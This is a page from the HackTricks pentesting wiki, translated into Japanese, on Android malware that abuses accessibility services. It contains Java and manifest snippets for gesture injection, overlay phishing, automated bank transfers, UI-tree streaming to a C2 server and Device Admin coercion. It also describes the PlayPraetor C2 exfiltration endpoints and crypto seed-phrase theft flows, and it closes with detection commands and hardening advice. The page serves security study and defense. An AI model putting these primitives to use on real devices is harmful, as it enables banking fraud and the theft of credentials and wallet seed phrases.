hacktricks/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

233 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Android Accessibility Service Abuse
{{#include ../../banners/hacktricks-training.md}}
## Overview
`AccessibilityService` は、障害を持つユーザーが Android デバイスとやり取りするのを支援するために作られました。残念ながら、同じく強力な **automation APIs**(グローバルナビゲーション、テキスト入力、ジェスチャー送出、オーバーレイウィンドウ…)は、マルウェアによって悪用され、`root` 権限なしで端末を**完全にリモート制御**するために利用され得ます。
最新の Android バンキングトロイの木馬や Remote-Access-Trojans (RATs)、例えば **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** などは、同じ手口を踏襲しています:
1. 被害者をソーシャルエンジニアリングで誘導し、悪意ある accessibility service を有効化させる(*BIND_ACCESSIBILITY_SERVICE* 権限は「high-risk」と見なされ、明示的なユーザー操作が必要です
2. サービスを利用して
* 画面に表示されるすべての UI イベントとテキストをキャプチャする、
* 合成ジェスチャー(`dispatchGesture`)やグローバルアクション(`performGlobalAction`)を注入して、攻撃者が望む任意のタスクを自動化する、
* 正規のアプリの上にフルスクリーンオーバーレイを描画する(ウィンドウタイプ **TYPE_ACCESSIBILITY_OVERLAY** を使用。`SYSTEM_ALERT_WINDOW` のプロンプトは不要!)、
* システムダイアログ上のボタンを被害者に代わってクリックすることで、追加のランタイム権限をサイレントに付与する。
3. データを流出させるか、ユーザーが普通の画面を見ている間にリアルタイムで**デバイス上での詐欺On-Device-Fraud、ODF**を実行する。
---
## Requesting the permission
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
コンパニオンXMLは、偽のダイアログの見た目を定義します:
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## リモートUI自動化の基本操作
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
これら2つのAPIsだけで攻撃者は次のことができる:
* 画面ロックを解除し、銀行アプリを開き、そのUIツリーを辿って振込フォームを送信する。
* 表示されるすべての権限ダイアログを承認する。
* Play Store intent経由で追加のAPKをインストール/更新する。
---
## 悪用パターン
### 1. Overlay Phishing (Credential Harvesting)
透明または不透明な `WebView` が window manager に追加される:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
被害者は偽フォームに資格情報を入力している間、バックグラウンドのアプリが同じジェスチャを受け取り—「draw over other apps」という怪しいプロンプトは一切表示されません。
> 詳細な例: *Accessibility Overlay Phishing* セクションTapjacking ページ内)。
### 2. On-Device Fraud automation
マルウェアファミリー(例: **PlayPraetor**)は、オペレータが高レベルのコマンド(`init`, `update`, `alert_arr`, `report_list`, …)を発行できる永続的な WebSocket チャネルを維持します。サービスはそれらのコマンドを上記の低レベルなジェスチャに変換し、そのデバイスに紐づいた多要素認証を容易にバイパスするリアルタイムの不正トランザクションを実現します。
### 3. Screen streaming & monitoring
**MediaProjection API** と RTMP クライアントライブラリを組み合わせることで、RAT はライブフレームバッファを `rtmp://<c2>:1935/live/<device_id>` にブロードキャストでき、Accessibility エンジンが UI を操作している間も攻撃者に完璧な状況認識を提供します。
---
## PlayPraetor コマンド&コントロールのワークフロー
1. **HTTP(S) heartbeat** ハードコードされたリストを順に試し、あるドメインが `POST /app/searchPackageName` にアクティブな C2 を返すまで繰り返す。
2. **WebSocket (port 8282)** 双方向の JSON コマンド:
* `update` 新しい conf/APKs をプッシュ
* `alert_arr` overlay テンプレートを設定
* `report_list` ターゲットパッケージ名の一覧を送信
* `heartbeat_web` keep-alive
3. **RTMP (port 1935)** ライブ画面/ビデオのストリーミング。
4. **REST exfiltration**
* `/app/saveDevice`(フィンガープリント)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd`(銀行認証情報)
ローカルエンジンである **AccessibilityService** が、これらのクラウドコマンドを物理的な操作に変換します。
---
## Detecting malicious accessibility services
* `adb shell settings get secure enabled_accessibility_services`
* Settings → Accessibility → *Downloaded services* Google Play から配布されていないアプリを探す。
* MDM / EMM ソリューションは `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) を適用して sideloaded サービスをブロックできます。
* 実行中のサービスを解析:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Hardening recommendations for app developers
* 敏感な View に `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` を設定するAPI 34+)。
* `setFilterTouchesWhenObscured(true)``FLAG_SECURE` と組み合わせて、tap/overlay hijacking を防ぐ。
* `WindowManager.getDefaultDisplay().getFlags()``ViewRootImpl` API をポーリングして overlays を検出する。
* `Settings.canDrawOverlays()` が有効、または信頼できない Accessibility サービスがアクティブな場合は動作を拒否する。
---
## ATS 自動化 チートシート (Accessibility-driven)
Malware は Accessibility APIs のみで銀行アプリを完全自動化できます。汎用プリミティブ:
```java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
例のフロー(チェコ語 → 英語ラベル):
- "Nová platba" (新しい支払い) → クリック
- "Zadat platbu" (支払いを入力) → クリック
- "Nový příjemce" (新しい受取人) → クリック
- "Domácí číslo účtu" (国内口座番号) → フォーカスして `ACTION_SET_TEXT`
- "Další" (次へ) → クリック → … "Zaplatit" (支払う) → クリック → PINを入力
フォールバック: カスタムウィジェットのためにテキスト検索が失敗した場合、`dispatchGesture` を使ったハードコードされた座標。
また、転送前に limits UI をナビゲートして日次制限を引き上げることで、`check_limit``limit` への事前ステップが見られることもある。
## テキストベースの疑似スクリーンストリーミング
低遅延のリモート制御のため、フル動画ストリーミングの代わりに現在のUIツリーのテキスト表現をダンプしてそれを繰り返しC2に送る。
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
```
これは `txt_screen`(単発)や `screen_live`(継続)のようなコマンドの基礎です。
## Device Admin 強制プリミティブ
Device Admin receiver が有効化されると、これらの呼び出しにより資格情報を取得したり制御を維持したりする機会が増えます:
```java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
```
Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
## Crypto wallet seed-phrase extraction patterns
MetaMask、Trust Wallet、Blockchain.com、Phantom に対して観測されたフロー:
- 盗まれた PINoverlay/Accessibility 経由で取得)または提供されたウォレットパスワードでアンロック。
- 操作: Settings → Security/Recovery → Reveal/Show recovery phrase.
- テキストノードの keylogging、secure-screen bypass、またはテキストが隠されている場合は screenshot OCR によってフレーズを収集。
- セレクタを安定させるために複数ロケール (EN/RU/CZ/SK) をサポートする — 利用可能なら `viewIdResourceName` を優先し、なければ多言語テキストマッチングにフォールバックする。
## NFC-relay orchestration
Accessibility/RAT モジュールは、第3段階として専用の NFC-relay アプリ(例: NFSkateをインストール・起動し、overlay ガイドを注入して被害者を card-present リレー手順に導くこともできる。
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
---
## References
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
* [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}